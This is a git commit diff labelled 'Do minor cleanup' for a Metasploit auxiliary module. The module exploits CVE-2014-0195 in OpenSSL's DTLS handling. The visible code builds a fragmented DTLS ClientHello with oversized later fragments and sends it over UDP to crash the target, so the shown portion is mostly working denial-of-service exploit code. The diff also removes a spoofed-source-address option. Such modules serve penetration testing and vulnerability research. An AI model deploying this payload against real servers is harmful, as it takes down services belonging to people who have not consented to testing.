Do minor cleanup
parent
06e45e8253
commit
daf662b3c0
|
@ -8,7 +8,6 @@ require 'msf/core'
|
||||||
class Metasploit3 < Msf::Auxiliary
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
include Msf::Auxiliary::Dos
|
include Msf::Auxiliary::Dos
|
||||||
# include Msf::Exploit::Capture
|
|
||||||
include Exploit::Remote::Udp
|
include Exploit::Remote::Udp
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
|
@ -21,23 +20,24 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
fragment lengths of later fragments are larger than that of the first, a
|
fragment lengths of later fragments are larger than that of the first, a
|
||||||
buffer overflow occurs, causing a DoS.
|
buffer overflow occurs, causing a DoS.
|
||||||
},
|
},
|
||||||
'Author' => [
|
'Author' =>
|
||||||
|
[
|
||||||
'Jon Hart <jon_hart[at]rapid7.com>', #original code
|
'Jon Hart <jon_hart[at]rapid7.com>', #original code
|
||||||
],
|
],
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'References' =>
|
'References' =>
|
||||||
[
|
[
|
||||||
[ 'CVE', '2014-0195' ],
|
['CVE', '2014-0195'],
|
||||||
|
['ZDI', '14-173'],
|
||||||
|
['BID', '67900']
|
||||||
],
|
],
|
||||||
'DisclosureDate' => 'Jun 05 2014'))
|
'DisclosureDate' => 'Jun 05 2014'))
|
||||||
|
|
||||||
register_options([
|
register_options([
|
||||||
Opt::RPORT(4433),
|
Opt::RPORT(4433),
|
||||||
OptInt.new('VERSION', [true, "SSl/TLS version", 0xFEFF]),
|
OptInt.new('VERSION', [true, "SSl/TLS version", 0xFEFF])
|
||||||
OptAddress.new('SHOST', [false, 'This option can be used to specify a spoofed source address', nil])
|
|
||||||
], self.class)
|
], self.class)
|
||||||
|
|
||||||
deregister_options('FILTER','PCAPFILE', 'INTERFACE', 'SNAPLEN', 'TIMEOUT')
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def build_tls_fragment(type, length, seq, frag_offset, frag_length, frag_body=nil)
|
def build_tls_fragment(type, length, seq, frag_offset, frag_length, frag_body=nil)
|
||||||
|
@ -69,7 +69,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
fragments = build_tls_fragment(1, 2, 0, 0, 1, 'C')
|
fragments = build_tls_fragment(1, 2, 0, 0, 1, 'C')
|
||||||
# add a large fragment where the length is significantly larger than that of the first
|
# add a large fragment where the length is significantly larger than that of the first
|
||||||
# TODO: you'll need to tweak the 2nd, 5th and 6th arguments to trigger the condition in some situations
|
# TODO: you'll need to tweak the 2nd, 5th and 6th arguments to trigger the condition in some situations
|
||||||
fragments << build_tls_fragment(1, 1234, 0, 0, 123, 'A' * 1234)
|
fragments << build_tls_fragment(1, 1234, 0, 0, 123, Rex::Text.rand_text_alpha(1234))
|
||||||
message = build_tls_message(22, datastore['VERSION'], 0, 0, fragments)
|
message = build_tls_message(22, datastore['VERSION'], 0, 0, fragments)
|
||||||
connect_udp
|
connect_udp
|
||||||
print_status("Sending fragmented DTLS client hello packet to #{rhost}:#{rport}")
|
print_status("Sending fragmented DTLS client hello packet to #{rhost}:#{rport}")
|
||||||
|
|
Loading…
Reference in New Issue